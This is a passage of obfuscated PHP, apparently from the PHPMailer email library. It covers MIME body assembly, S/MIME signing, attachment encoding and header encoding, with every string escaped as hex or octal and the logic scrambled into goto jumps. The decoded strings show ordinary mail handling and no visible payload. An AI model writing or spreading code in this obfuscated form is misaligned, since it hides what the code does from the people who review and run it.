$W9wJ_ = "\x54\x68\x69\163\40\x69\x73\x20\141\x20\x6d\x75\154\x74\151\55\x70\x61\x72\164\40\x6d\145\x73\163\x61\147\x65\x20\x69\156\x20\x4d\111\115\105\x20\x66\x6f\162\x6d\141\x74\x2e" . $this->LE . $this->LE;
switch ($this->message_type) {
case "\x69\156\x6c\151\156\145":
$DwsX3 .= $W9wJ_;
$DwsX3 .= $this->getBoundary($this->boundary[1], $gzrD8, '', $szmbU);
$DwsX3 .= $this->encodeString($this->Body, $szmbU);
$DwsX3 .= $this->LE . $this->LE;
$DwsX3 .= $this->attachAll("\151\156\154\151\156\x65", $this->boundary[1]);
goto RkFYb;
case "\x61\164\x74\141\143\150":
$DwsX3 .= $W9wJ_;
$DwsX3 .= $this->getBoundary($this->boundary[1], $gzrD8, '', $szmbU);
$DwsX3 .= $this->encodeString($this->Body, $szmbU);
$DwsX3 .= $this->LE . $this->LE;
$DwsX3 .= $this->attachAll("\141\x74\164\x61\143\x68\x6d\145\x6e\164", $this->boundary[1]);
goto RkFYb;
case "\151\x6e\x6c\x69\156\x65\137\141\164\x74\141\143\x68":
$DwsX3 .= $W9wJ_;
$DwsX3 .= $this->textLine("\x2d\55" . $this->boundary[1]);
$DwsX3 .= $this->headerLine("\x43\x6f\156\164\145\156\x74\x2d\x54\x79\x70\x65", "\x6d\165\154\x74\151\160\x61\x72\164\57\162\145\154\141\164\145\x64\73");
$DwsX3 .= $this->textLine("\x9\142\157\165\156\x64\x61\x72\x79\75\x22" . $this->boundary[2] . "\42");
$DwsX3 .= $this->LE;
$DwsX3 .= $this->getBoundary($this->boundary[2], $gzrD8, '', $szmbU);
$DwsX3 .= $this->encodeString($this->Body, $szmbU);
$DwsX3 .= $this->LE . $this->LE;
$DwsX3 .= $this->attachAll("\x69\x6e\154\151\x6e\x65", $this->boundary[2]);
$DwsX3 .= $this->LE;
$DwsX3 .= $this->attachAll("\141\164\x74\x61\x63\x68\x6d\x65\x6e\x74", $this->boundary[1]);
goto RkFYb;
case "\141\x6c\x74":
$DwsX3 .= $W9wJ_;
$DwsX3 .= $this->getBoundary($this->boundary[1], $u0j6w, "\164\145\170\164\x2f\160\x6c\141\x69\x6e", $fCFK2);
$DwsX3 .= $this->encodeString($this->AltBody, $fCFK2);
$DwsX3 .= $this->LE . $this->LE;
$DwsX3 .= $this->getBoundary($this->boundary[1], $gzrD8, "\164\145\x78\x74\57\x68\x74\x6d\154", $szmbU);
$DwsX3 .= $this->encodeString($this->Body, $szmbU);
$DwsX3 .= $this->LE . $this->LE;
if (empty($this->Ical)) {
goto DPu09;
}
$DwsX3 .= $this->getBoundary($this->boundary[1], '', "\164\x65\x78\164\57\143\x61\154\145\x6e\x64\141\162\73\x20\155\145\x74\x68\x6f\144\75\122\x45\121\x55\x45\123\124", '');
$DwsX3 .= $this->encodeString($this->Ical, $this->Encoding);
$DwsX3 .= $this->LE . $this->LE;
DPu09:
$DwsX3 .= $this->endBoundary($this->boundary[1]);
goto RkFYb;
case "\x61\x6c\164\137\151\x6e\154\x69\156\145":
$DwsX3 .= $W9wJ_;
$DwsX3 .= $this->getBoundary($this->boundary[1], $u0j6w, "\164\145\170\164\x2f\x70\x6c\x61\x69\156", $fCFK2);
$DwsX3 .= $this->encodeString($this->AltBody, $fCFK2);
$DwsX3 .= $this->LE . $this->LE;
$DwsX3 .= $this->textLine("\55\x2d" . $this->boundary[1]);
$DwsX3 .= $this->headerLine("\103\x6f\x6e\164\x65\x6e\x74\55\124\171\x70\x65", "\x6d\x75\x6c\164\151\160\141\x72\164\x2f\x72\145\154\x61\164\x65\144\x3b");
$DwsX3 .= $this->textLine("\x9\142\157\165\156\x64\x61\x72\x79\x3d\x22" . $this->boundary[2] . "\42");
$DwsX3 .= $this->LE;
$DwsX3 .= $this->getBoundary($this->boundary[2], $gzrD8, "\x74\x65\170\164\x2f\x68\x74\155\x6c", $szmbU);
$DwsX3 .= $this->encodeString($this->Body, $szmbU);
$DwsX3 .= $this->LE . $this->LE;
$DwsX3 .= $this->attachAll("\151\156\x6c\151\x6e\x65", $this->boundary[2]);
$DwsX3 .= $this->LE;
$DwsX3 .= $this->endBoundary($this->boundary[1]);
goto RkFYb;
case "\141\x6c\164\137\x61\164\x74\141\143\x68":
$DwsX3 .= $W9wJ_;
$DwsX3 .= $this->textLine("\x2d\55" . $this->boundary[1]);
$DwsX3 .= $this->headerLine("\103\x6f\x6e\x74\145\x6e\x74\x2d\x54\171\160\x65", "\155\165\154\x74\151\160\x61\x72\164\x2f\x61\154\x74\x65\x72\x6e\141\x74\x69\166\145\73");
$DwsX3 .= $this->textLine("\11\142\157\x75\x6e\x64\x61\162\171\75\42" . $this->boundary[2] . "\x22");
$DwsX3 .= $this->LE;
$DwsX3 .= $this->getBoundary($this->boundary[2], $u0j6w, "\x74\145\170\x74\x2f\x70\x6c\141\x69\156", $fCFK2);
$DwsX3 .= $this->encodeString($this->AltBody, $fCFK2);
$DwsX3 .= $this->LE . $this->LE;
$DwsX3 .= $this->getBoundary($this->boundary[2], $gzrD8, "\164\x65\x78\x74\57\x68\x74\155\x6c", $szmbU);
$DwsX3 .= $this->encodeString($this->Body, $szmbU);
$DwsX3 .= $this->LE . $this->LE;
$DwsX3 .= $this->endBoundary($this->boundary[2]);
$DwsX3 .= $this->LE;
$DwsX3 .= $this->attachAll("\141\x74\x74\x61\x63\x68\155\145\x6e\x74", $this->boundary[1]);
goto RkFYb;
case "\141\154\164\137\151\156\x6c\x69\156\x65\x5f\141\x74\164\x61\143\150":
$DwsX3 .= $W9wJ_;
$DwsX3 .= $this->textLine("\55\55" . $this->boundary[1]);
$DwsX3 .= $this->headerLine("\x43\157\x6e\x74\145\x6e\x74\x2d\x54\x79\160\145", "\155\165\x6c\x74\x69\160\x61\x72\x74\x2f\141\x6c\x74\x65\x72\x6e\x61\x74\151\166\145\x3b");
$DwsX3 .= $this->textLine("\x9\x62\x6f\165\x6e\144\x61\x72\171\75\42" . $this->boundary[2] . "\x22");
$DwsX3 .= $this->LE;
$DwsX3 .= $this->getBoundary($this->boundary[2], $u0j6w, "\x74\x65\x78\164\x2f\x70\154\141\x69\156", $fCFK2);
$DwsX3 .= $this->encodeString($this->AltBody, $fCFK2);
$DwsX3 .= $this->LE . $this->LE;
$DwsX3 .= $this->textLine("\55\x2d" . $this->boundary[2]);
$DwsX3 .= $this->headerLine("\103\x6f\x6e\x74\145\x6e\164\55\124\171\x70\x65", "\155\165\154\x74\x69\160\x61\x72\164\57\x72\145\154\141\x74\x65\x64\73");
$DwsX3 .= $this->textLine("\11\x62\157\x75\x6e\144\141\162\171\75\42" . $this->boundary[3] . "\x22");
$DwsX3 .= $this->LE;
$DwsX3 .= $this->getBoundary($this->boundary[3], $gzrD8, "\x74\x65\x78\164\x2f\150\164\x6d\x6c", $szmbU);
$DwsX3 .= $this->encodeString($this->Body, $szmbU);
$DwsX3 .= $this->LE . $this->LE;
$DwsX3 .= $this->attachAll("\x69\156\154\x69\x6e\x65", $this->boundary[3]);
$DwsX3 .= $this->LE;
$DwsX3 .= $this->endBoundary($this->boundary[2]);
$DwsX3 .= $this->LE;
$DwsX3 .= $this->attachAll("\141\x74\164\141\143\150\x6d\145\x6e\164", $this->boundary[1]);
goto RkFYb;
default:
$this->Encoding = $szmbU;
$DwsX3 .= $this->encodeString($this->Body, $this->Encoding);
goto RkFYb;
}
kY5dj:
RkFYb:
if ($this->isError()) {
goto PGs83;
}
if ($this->sign_key_file) {
goto OiDuy;
}
goto JCmON;
PGs83:
$DwsX3 = '';
goto JCmON;
OiDuy:
try {
if (defined("\x50\x4b\x43\123\x37\137\x54\x45\x58\x54")) {
goto hZpR5;
}
throw new phpmailerException($this->lang("\145\x78\164\145\156\163\x69\x6f\156\x5f\x6d\x69\163\163\151\156\147") . "\157\x70\x65\156\163\163\154");
hZpR5:
$Yq0pG = tempnam(sys_get_temp_dir(), "\x6d\141\x69\x6c");
if (!(false === file_put_contents($Yq0pG, $DwsX3))) {
goto hllcg;
}
throw new phpmailerException($this->lang("\x73\151\147\x6e\x69\x6e\147") . "\40\x43\x6f\x75\154\x64\40\x6e\x6f\x74\x20\167\162\x69\164\145\40\x74\x65\x6d\160\x20\146\151\x6c\145");
hllcg:
$V9xej = tempnam(sys_get_temp_dir(), "\163\151\x67\156\x65\x64");
if (empty($this->sign_extracerts_file)) {
goto I8YQX;
}
$HAbUC = @openssl_pkcs7_sign($Yq0pG, $V9xej, "\146\151\154\x65\x3a\x2f\57" . realpath($this->sign_cert_file), array("\x66\151\154\x65\72\x2f\x2f" . realpath($this->sign_key_file), $this->sign_key_pass), null, PKCS7_DETACHED, $this->sign_extracerts_file);
goto ipOGB;
I8YQX:
$HAbUC = @openssl_pkcs7_sign($Yq0pG, $V9xej, "\146\x69\154\145\x3a\57\57" . realpath($this->sign_cert_file), array("\146\x69\x6c\145\x3a\57\57" . realpath($this->sign_key_file), $this->sign_key_pass), null);
ipOGB:
if ($HAbUC) {
goto nZfkX;
}
@unlink($Yq0pG);
@unlink($V9xej);
throw new phpmailerException($this->lang("\163\x69\147\156\151\x6e\147") . openssl_error_string());
goto BEY6d;
nZfkX:
@unlink($Yq0pG);
$DwsX3 = file_get_contents($V9xej);
@unlink($V9xej);
$N_ZuJ = explode("\12\xa", $DwsX3, 2);
$this->MIMEHeader .= $N_ZuJ[0] . $this->LE . $this->LE;
$DwsX3 = $N_ZuJ[1];
BEY6d:
} catch (phpmailerException $K5HlO) {
$DwsX3 = '';
if (!$this->exceptions) {
goto cQczY;
}
throw $K5HlO;
cQczY:
}
JCmON:
return $DwsX3;
}
protected function getBoundary($rRMUA, $gKw26, $iWI0M, $Waof0)
{
$FqysX = '';
if (!($gKw26 == '')) {
goto a2UWk;
}
$gKw26 = $this->CharSet;
a2UWk:
if (!($iWI0M == '')) {
goto tNDhn;
}
$iWI0M = $this->ContentType;
tNDhn:
if (!($Waof0 == '')) {
goto M8EcB;
}
$Waof0 = $this->Encoding;
M8EcB:
$FqysX .= $this->textLine("\x2d\55" . $rRMUA);
$FqysX .= sprintf("\x43\x6f\156\164\x65\156\x74\x2d\x54\x79\x70\145\72\x20\45\x73\x3b\40\x63\x68\x61\162\163\x65\164\x3d\45\x73", $iWI0M, $gKw26);
$FqysX .= $this->LE;
if (!($Waof0 != "\x37\142\x69\164")) {
goto jCOp0;
}
$FqysX .= $this->headerLine("\103\x6f\156\x74\145\156\164\55\124\162\141\156\163\x66\x65\x72\55\105\156\143\x6f\x64\x69\156\x67", $Waof0);
jCOp0:
$FqysX .= $this->LE;
return $FqysX;
}
protected function endBoundary($rRMUA)
{
return $this->LE . "\x2d\x2d" . $rRMUA . "\x2d\x2d" . $this->LE;
}
protected function setMessageType()
{
$FqCyk = array();
if (!$this->alternativeExists()) {
goto gfquI;
}
$FqCyk[] = "\x61\x6c\164";
gfquI:
if (!$this->inlineImageExists()) {
goto d1OB2;
}
$FqCyk[] = "\x69\156\x6c\x69\x6e\x65";
d1OB2:
if (!$this->attachmentExists()) {
goto loz1P;
}
$FqCyk[] = "\x61\x74\x74\141\x63\x68";
loz1P:
$this->message_type = implode("\137", $FqCyk);
if (!($this->message_type == '')) {
goto dvduP;
}
$this->message_type = "\x70\x6c\141\x69\x6e";
dvduP:
}
public function headerLine($lYmCQ, $Nqx68)
{
return $lYmCQ . "\x3a\40" . $Nqx68 . $this->LE;
}
public function textLine($Nqx68)
{
return $Nqx68 . $this->LE;
}
public function addAttachment($knUNi, $lYmCQ = '', $Waof0 = "\142\x61\163\145\66\64", $FqCyk = '', $WXQUS = "\141\164\164\141\143\150\155\145\x6e\x74")
{
try {
if (!(!self::isPermittedPath($knUNi) or !@is_file($knUNi))) {
goto GXhog;
}
throw new phpmailerException($this->lang("\x66\x69\154\145\137\x61\143\x63\145\x73\x73") . $knUNi, self::STOP_CONTINUE);
GXhog:
if (!($FqCyk == '')) {
goto viBDL;
}
$FqCyk = self::filenameToType($knUNi);
viBDL:
$w7o6u = basename($knUNi);
if (!($lYmCQ == '')) {
goto ab3rA;
}
$lYmCQ = $w7o6u;
ab3rA:
$this->attachment[] = array(0 => $knUNi, 1 => $w7o6u, 2 => $lYmCQ, 3 => $Waof0, 4 => $FqCyk, 5 => false, 6 => $WXQUS, 7 => 0);
} catch (phpmailerException $K5HlO) {
$this->setError($K5HlO->getMessage());
$this->edebug($K5HlO->getMessage());
if (!$this->exceptions) {
goto YXFVo;
}
throw $K5HlO;
YXFVo:
return false;
}
return true;
}
public function getAttachments()
{
return $this->attachment;
}
protected function attachAll($uwpjs, $rRMUA)
{
$opDcb = array();
$LGQ1b = array();
$vwCCh = array();
foreach ($this->attachment as $J8YVU) {
if (!($J8YVU[6] == $uwpjs)) {
goto EwW4r;
}
$TYDtX = '';
$knUNi = '';
$e0o3p = $J8YVU[5];
if ($e0o3p) {
goto BHhtC;
}
$knUNi = $J8YVU[0];
goto fPfcx;
BHhtC:
$TYDtX = $J8YVU[0];
fPfcx:
$AmeOh = md5(serialize($J8YVU));
if (!in_array($AmeOh, $vwCCh)) {
goto Q1iLj;
}
goto BsQcw;
Q1iLj:
$vwCCh[] = $AmeOh;
$lYmCQ = $J8YVU[2];
$Waof0 = $J8YVU[3];
$FqCyk = $J8YVU[4];
$WXQUS = $J8YVU[6];
$rQQOK = $J8YVU[7];
if (!($WXQUS == "\x69\x6e\x6c\151\156\145" && array_key_exists($rQQOK, $LGQ1b))) {
goto g4Typ;
}
goto BsQcw;
g4Typ:
$LGQ1b[$rQQOK] = true;
$opDcb[] = sprintf("\55\x2d\x25\x73\x25\163", $rRMUA, $this->LE);
if (!empty($lYmCQ)) {
goto i2IxV;
}
$opDcb[] = sprintf("\103\157\x6e\164\x65\156\164\55\x54\171\x70\x65\x3a\40\x25\163\x25\x73", $FqCyk, $this->LE);
goto vHxk8;
i2IxV:
$opDcb[] = sprintf("\103\157\x6e\x74\145\156\164\55\124\171\x70\145\72\x20\45\x73\x3b\x20\156\141\x6d\x65\x3d\x22\x25\163\42\45\163", $FqCyk, $this->encodeHeader($this->secureHeader($lYmCQ)), $this->LE);
vHxk8:
if (!($Waof0 != "\x37\x62\x69\x74")) {
goto C7Ukv;
}
$opDcb[] = sprintf("\x43\x6f\156\164\145\x6e\164\x2d\124\x72\141\156\x73\x66\145\x72\x2d\105\x6e\x63\x6f\144\151\x6e\x67\72\40\x25\163\45\x73", $Waof0, $this->LE);
C7Ukv:
if (!($WXQUS == "\151\x6e\154\151\156\145")) {
goto obty1;
}
$opDcb[] = sprintf("\103\x6f\x6e\x74\145\x6e\164\55\111\104\72\40\x3c\45\163\x3e\45\x73", $rQQOK, $this->LE);
obty1:
if (!empty($WXQUS)) {
goto rmghK;
}
$opDcb[] = $this->LE;
goto DdzMu;
rmghK:
$u1RxI = $this->encodeHeader($this->secureHeader($lYmCQ));
if (preg_match("\57\x5b\40\x5c\x28\134\51\x3c\x3e\100\x2c\x3b\x3a\134\x22\134\x2f\134\133\x5c\135\134\77\75\135\57", $u1RxI)) {
goto Okwg_;
}
if (!empty($u1RxI)) {
goto Bcyu2;
}
$opDcb[] = sprintf("\x43\157\156\164\x65\x6e\164\55\104\x69\163\160\157\163\x69\x74\151\157\156\x3a\x20\45\x73\45\x73", $WXQUS, $this->LE . $this->LE);
goto JjcPL;
Bcyu2:
$opDcb[] = sprintf("\x43\x6f\x6e\164\x65\156\164\55\104\x69\163\x70\157\x73\x69\x74\151\157\x6e\72\x20\x25\x73\73\x20\x66\151\154\145\156\141\x6d\145\x3d\45\x73\45\163", $WXQUS, $u1RxI, $this->LE . $this->LE);
JjcPL:
goto M5CJi;
Okwg_:
$opDcb[] = sprintf("\x43\x6f\156\x74\145\x6e\x74\x2d\x44\x69\x73\160\x6f\x73\151\164\151\157\156\72\40\45\x73\73\40\146\151\x6c\145\156\141\155\145\75\x22\45\x73\42\x25\163", $WXQUS, $u1RxI, $this->LE . $this->LE);
M5CJi:
DdzMu:
if ($e0o3p) {
goto O_iTn;
}
$opDcb[] = $this->encodeFile($knUNi, $Waof0);
if (!$this->isError()) {
goto laWn0;
}
return '';
laWn0:
$opDcb[] = $this->LE . $this->LE;
goto RCHos;
O_iTn:
$opDcb[] = $this->encodeString($TYDtX, $Waof0);
if (!$this->isError()) {
goto Fl4ae;
}
return '';
Fl4ae:
$opDcb[] = $this->LE . $this->LE;
RCHos:
EwW4r:
BsQcw:
}
d_w0f:
$opDcb[] = sprintf("\55\55\45\x73\55\55\x25\x73", $rRMUA, $this->LE);
return implode('', $opDcb);
}
protected function encodeFile($knUNi, $Waof0 = "\142\x61\x73\145\66\x34")
{
try {
if (!(!self::isPermittedPath($knUNi) or !file_exists($knUNi))) {
goto JyTAe;
}
throw new phpmailerException($this->lang("\146\x69\154\145\x5f\157\160\x65\x6e") . $knUNi, self::STOP_CONTINUE);
JyTAe:
$WP8Ah = false;
if (!version_compare(PHP_VERSION, "\x37\56\64\56\x30", "\x3c")) {
goto D2nvJ;
}
$WP8Ah = get_magic_quotes_runtime();
D2nvJ:
if (!$WP8Ah) {
goto FMR_8;
}
if (version_compare(PHP_VERSION, "\x35\56\63\x2e\x30", "\x3c")) {
goto HTE2T;
}
ini_set("\155\x61\x67\x69\143\x5f\x71\165\157\164\x65\163\x5f\162\x75\156\164\151\155\x65", false);
goto jUFyq;
HTE2T:
set_magic_quotes_runtime(false);
jUFyq:
FMR_8:
$KEkCn = file_get_contents($knUNi);
$KEkCn = $this->encodeString($KEkCn, $Waof0);
if (!$WP8Ah) {
goto d7qLt;
}
if (version_compare(PHP_VERSION, "\x35\x2e\x33\56\60", "\x3c")) {
goto loCFv;
}
ini_set("\155\x61\x67\151\x63\x5f\161\165\157\164\x65\x73\x5f\x72\x75\156\x74\x69\x6d\145", $WP8Ah);
goto Cqvpa;
loCFv:
set_magic_quotes_runtime($WP8Ah);
Cqvpa:
d7qLt:
return $KEkCn;
} catch (Exception $K5HlO) {
$this->setError($K5HlO->getMessage());
return '';
}
}
public function encodeString($xyy5m, $Waof0 = "\x62\141\x73\x65\x36\x34")
{
$TMWNO = '';
switch (strtolower($Waof0)) {
case "\142\141\163\145\66\x34":
$TMWNO = chunk_split(base64_encode($xyy5m), 76, $this->LE);
goto GEZ25;
case "\67\142\x69\164":
case "\x38\x62\x69\x74":
$TMWNO = $this->fixEOL($xyy5m);
if (!(substr($TMWNO, -strlen($this->LE)) != $this->LE)) {
goto wyoIy;
}
$TMWNO .= $this->LE;
wyoIy:
goto GEZ25;
case "\x62\x69\156\141\x72\x79":
$TMWNO = $xyy5m;
goto GEZ25;
case "\161\165\x6f\164\x65\x64\x2d\160\162\151\x6e\x74\x61\x62\x6c\x65":
$TMWNO = $this->encodeQP($xyy5m);
goto GEZ25;
default:
$this->setError($this->lang("\x65\156\143\157\144\x69\156\x67") . $Waof0);
goto GEZ25;
}
WEwT0:
GEZ25:
return $TMWNO;
}
public function encodeHeader($xyy5m, $zE1EO = "\x74\x65\170\164")
{
$lDppl = 0;
switch (strtolower($zE1EO)) {
case "\x70\x68\162\141\x73\x65":
if (preg_match("\57\x5b\x5c\x32\60\x30\x2d\x5c\63\x37\x37\135\x2f", $xyy5m)) {
goto gHhhw;
}
$TMWNO = addcslashes($xyy5m, "\x0\56\x2e\x1f\x7f\134\x22");
if ($xyy5m == $TMWNO && !preg_match("\57\133\136\x41\x2d\x5a\141\x2d\x7a\x30\x2d\x39\x21\x23\44\x25\x26\x27\52\53\134\x2f\75\77\x5e\x5f\x60\x7b\x7c\175\176\40\x2d\135\x2f", $xyy5m)) {
goto gYH7N;
}
return "\42{$TMWNO}\x22";
goto gXSbx;
gYH7N:
return $TMWNO;
gXSbx:
gHhhw:
$lDppl = preg_match_all("\x2f\133\136\134\x30\x34\x30\134\60\64\x31\134\60\64\63\55\x5c\x31\x33\63\x5c\x31\x33\65\55\134\61\x37\x36\135\x2f", $xyy5m, $snrAi);
goto tIeiK;
case "\x63\157\x6d\x6d\x65\156\164":
$lDppl = preg_match_all("\x2f\x5b\50\x29\42\x5d\x2f", $xyy5m, $snrAi);
case "\164\145\x78\164":
default:
$lDppl += preg_match_all("\x2f\133\x5c\x30\60\x30\55\x5c\60\61\x30\x5c\60\x31\63\134\60\x31\x34\x5c\60\x31\66\55\134\60\63\67\x5c\61\x37\67\x2d\134\63\x37\x37\x5d\57", $xyy5m, $snrAi);
goto tIeiK;
}
Csjda:
tIeiK:
if (!($lDppl == 0)) {
goto Qv2t6;
}
return $xyy5m;
Qv2t6:
$fn88d = 75 - 7 - strlen($this->CharSet);
if ($lDppl > strlen($xyy5m) / 3) {
goto vAlQ5;
}
$Waof0 = "\x51";
$TMWNO = $this->encodeQ($xyy5m, $zE1EO);
$TMWNO = $this->wrapText($TMWNO, $fn88d, true);
$TMWNO = str_replace("\x3d" . self::CRLF, "\xa", trim($TMWNO));
goto rHXOV;
vAlQ5:
$Waof0 = "\x42";
if (function_exists("\x6d\142\137\x73\x74\x72\x6c\145\x6e") && $this->hasMultiBytes($xyy5m)) {
goto T0mjc;
}
$TMWNO = base64_encode($xyy5m);
$fn88d -= $fn88d % 4;
$TMWNO = trim(chunk_split($TMWNO, $fn88d, "\xa"));
goto u1ydn;
T0mjc:
$TMWNO = $this->base64EncodeWrapMB($xyy5m, "\12");
u1ydn:
rHXOV:
$TMWNO = preg_replace("\x2f\136\x28\x2e\x2a\x29\44\57\x6d", "\40\x3d\77" . $this->CharSet . "\77{$Waof0}\x3f\134\61\77\x3d", $TMWNO);
$TMWNO = trim(str_replace("\xa", $this->LE, $TMWNO));
return $TMWNO;
}
public function hasMultiBytes($xyy5m)
{
if (function_exists("\x6d\x62\x5f\x73\164\162\154\145\156")) {
goto a4wBS;
}
return false;
goto SBEdM;
a4wBS:
return strlen($xyy5m) > mb_strlen($xyy5m, $this->CharSet);
SBEdM:
}
public function has8bitChars($ROGyB)
{
return (bool) preg_match("\x2f\x5b\x5c\170\x38\60\55\134\170\106\x46\x5d\57", $ROGyB);
}
public function base64EncodeWrapMB($xyy5m, $wxbya = null)
{
$SU365 = "\x3d\x3f" . $this->CharSet . "\77\x42\77";
$ZZb7N = "\77\75";
$TMWNO = '';
if (!($wxbya === null)) {
goto yOBSk;
}
$wxbya = $this->LE;
yOBSk:
$QBQPz = mb_strlen($xyy5m, $this->CharSet);
$RE2pI = 75 - strlen($SU365) - strlen($ZZb7N);
$zvVKJ = $QBQPz / strlen($xyy5m);
$bfEFa = floor($RE2pI * $zvVKJ * 0.75);
$Ky6GK = 0;
eS6EV:
if (!($Ky6GK < $QBQPz)) {
goto K_QW3;
}
$uNFXB = 0;
eKosN:
$OTSyP = $bfEFa - $uNFXB;
$yBxZK = mb_substr($xyy5m, $Ky6GK, $OTSyP, $this->CharSet);
$yBxZK = base64_encode($yBxZK);
$uNFXB++;
if (strlen($yBxZK) > $RE2pI) {
goto eKosN;
}
xHacl:
$TMWNO .= $yBxZK . $wxbya;
Uv7NG:
$Ky6GK += $OTSyP;
goto eS6EV;
K_QW3:
$TMWNO = substr($TMWNO, 0, -strlen($wxbya));
return $TMWNO;
}
public function encodeQP($TYDtX, $HZ_eH = 76)
{
if (!function_exists("\x71\x75\157\164\x65\x64\x5f\160\x72\151\156\x74\x61\x62\154\x65\137\145\156\x63\x6f\x64\x65")) {
goto zNGvS;
}
return quoted_printable_encode($TYDtX);
zNGvS:
$TYDtX = str_replace(array("\x25\x32\x30", "\45\x30\x44\x25\x30\x41\56", "\x25\x30\x44\45\x30\x41", "\x25"), array("\x20", "\xd\12\75\x32\x45", "\xd\12", "\75"), rawurlencode($TYDtX));
return preg_replace("\57\x5b\136\134\x72\134\x6e\x5d\173" . ($HZ_eH - 3) . "\175\133\136\75\x5c\x72\x5c\x6e\135\x7b\62\x7d\x2f", "\x24\60\75\15\12", $TYDtX);
}
public function encodeQPphp($TYDtX, $HZ_eH = 76, $Y9Xx3 = false)
{
return $this->encodeQP($TYDtX, $HZ_eH);
}
public function encodeQ($xyy5m, $zE1EO = "\164\145\x78\x74")
{
$V87dH = '';
$TMWNO = str_replace(array("\xd", "\xa"), '', $xyy5m);
switch (strtolower($zE1EO)) {
case "\160\x68\x72\141\x73\x65":
$V87dH = "\136\101\55\x5a\x61\x2d\172\x30\55\x39\x21\52\53\134\57\40\x2d";
goto DBu4F;
case "\x63\x6f\155\x6d\x65\156\164":
$V87dH = "\x5c\50\134\x29\42";
case "\164\x65\170\164":
default:
$V87dH = "\134\x30\x30\x30\55\x5c\x30\61\x31\134\x30\x31\x33\134\x30\x31\x34\x5c\60\x31\66\55\134\x30\63\67\134\60\67\x35\x5c\x30\67\67\134\x31\x33\x37\134\61\x37\x37\x2d\134\63\67\x37" . $V87dH;
goto DBu4F;
}
apzZu:
DBu4F:
$snrAi = array();
if (!preg_match_all("\57\x5b{$V87dH}\x5d\x2f", $TMWNO, $snrAi)) {
goto cd2uw;
}
$XMr2U = array_search("\75", $snrAi[0]);
if (!(false !== $XMr2U)) {
goto cv1cx;
}
unset($snrAi[0][$XMr2U]);
array_unshift($snrAi[0], "\75");
cv1cx:
foreach (array_unique($snrAi[0]) as $AtlNm) {
$TMWNO = str_replace($AtlNm, "\x3d" . sprintf("\x25\60\62\x58", ord($AtlNm)), $TMWNO);
LOY8G:
}
LTnMG:
cd2uw:
return str_replace("\40", "\x5f", $TMWNO);
}
public function addStringAttachment($TYDtX, $w7o6u, $Waof0 = "\x62\141\x73\145\66\x34", $FqCyk = '', $WXQUS = "\x61\x74\x74\x61\x63\x68\155\145\156\x74")
{
if (!($FqCyk == '')) {
goto s_jFp;
}
$FqCyk = self::filenameToType($w7o6u);
s_jFp:
$this->attachment[] = array(0 => $TYDtX, 1 => $w7o6u, 2 => basename($w7o6u), 3 => $Waof0, 4 => $FqCyk, 5 => true, 6 => $WXQUS, 7 => 0);
}
public function addEmbeddedImage($knUNi, $rQQOK, $lYmCQ = '', $Waof0 = "\142\x61\163\145\x36\x34", $FqCyk = '', $WXQUS = "\151\x6e\x6c\151\x6e\145")
{
if (!(!self::isPermittedPath($knUNi) or !@is_file($knUNi))) {
goto eWN96;
}
$this->setError($this->lang("\x66\151\x6c\x65\137\x61\143\x63\x65\x73\163") . $knUNi);
return false;
eWN96:
if (!($FqCyk == '')) {
goto IF0Ab;
}
$FqCyk = self::filenameToType($knUNi);
IF0Ab:
$w7o6u = basename($knUNi);
if (!($lYmCQ == '')) {
goto bu81C;
}
$lYmCQ = $w7o6u;
bu81C:
$this->attachment[] = array(0 => $knUNi, 1 => $w7o6u, 2 => $lYmCQ, 3 => $Waof0, 4 => $FqCyk, 5 => false, 6 => $WXQUS, 7 => $rQQOK);
return true;
}
public function addStringEmbeddedImage($TYDtX, $rQQOK, $lYmCQ = '', $Waof0 = "\142\x61\163\145\x36\64", $FqCyk = '', $WXQUS = "\151\156\x6c\x69\x6e\145")
{
if (!($FqCyk == '' and !empty($lYmCQ))) {
goto M84SW;
}
$FqCyk = self::filenameToType($lYmCQ);
M84SW:
$this->attachment[] = array(0 => $TYDtX, 1 => $lYmCQ, 2 => $lYmCQ, 3 => $Waof0, 4 => $FqCyk, 5 => true, 6 => $WXQUS, 7 => $rQQOK);
return true;
}
public function inlineImageExists()
{
foreach ($this->attachment as $J8YVU) {
if (!($J8YVU[6] == "\x69\156\x6c\x69\156\145")) {
goto y8jKa;
}
return true;
y8jKa:
bGkdz:
}
exGIS:
return false;
}
public function attachmentExists()
{
foreach ($this->attachment as $J8YVU) {
if (!($J8YVU[6] == "\141\164\x74\x61\143\x68\155\145\156\x74")) {
goto kADnm;
}
return true;
kADnm:
ROCXA:
}
szm3K:
return false;
}
public function alternativeExists()
{
return !empty($this->AltBody);
}
public function clearQueuedAddresses($gj0hs)
{
$yhDUt = $this->RecipientsQueue;
foreach ($yhDUt as $pMuIe => $azIW_) {
if (!($azIW_[0] == $gj0hs)) {
goto mPN0H;
}
unset($this->RecipientsQueue[$pMuIe]);
mPN0H:
ooO0J:
}
RZGTx:
}
public function clearAddresses()
{
foreach ($this->to as $aB8Ql) {
unset($this->all_recipients[strtolower($aB8Ql[0])]);
Q8TyF:
}
y4MtB:
$this->to = array();
$this->clearQueuedAddresses("\x74\157");
}
public function clearCCs()
{
foreach ($this->cc as $l4USs) {
unset($this->all_recipients[strtolower($l4USs[0])]);
CbsdU:
}
L1m9s:
$this->cc = array();
$this->clearQueuedAddresses("\143\x63");
}
public function clearBCCs()
{
foreach ($this->bcc as $P9PFE) {
unset($this->all_recipients[strtolower($P9PFE[0])]);
be3dr:
}
H6_Zb:
$this->bcc = array();
$this->clearQueuedAddresses("\x62\x63\x63");
}
public function clearReplyTos()
{
$this->ReplyTo = array();
$this->ReplyToQueue = array();
}
public function clearAllRecipients()
{
$this->to = array();
$this->cc = array();
$this->bcc = array();
$this->all_recipients = array();
$this->RecipientsQueue = array();
}
public function clearAttachments()
{
$this->attachment = array();
}
public function clearCustomHeaders()
{
$this->CustomHeader = array();
}
protected function setError($qDkkQ)
{
$this->error_count++;
if (!($this->Mailer == "\163\155\x74\x70" and !is_null($this->smtp))) {
goto a5IGB;
}
$EKDcB = $this->smtp->getError();
if (empty($EKDcB["\x65\162\162\x6f\162"])) {
goto wxS4z;
}
$qDkkQ .= $this->lang("\x73\x6d\164\160\x5f\x65\x72\x72\x6f\162") . $EKDcB["\x65\162\162\x6f\162"];
if (empty($EKDcB["\x64\x65\164\x61\151\x6c"])) {
goto XUADq;
}
$qDkkQ .= "\40\x44\x65\164\x61\x69\x6c\72\40" . $EKDcB["\x64\145\164\141\151\x6c"];
XUADq:
if (empty($EKDcB["\x73\155\164\160\x5f\x63\x6f\x64\145"])) {
goto MHjoX;
}
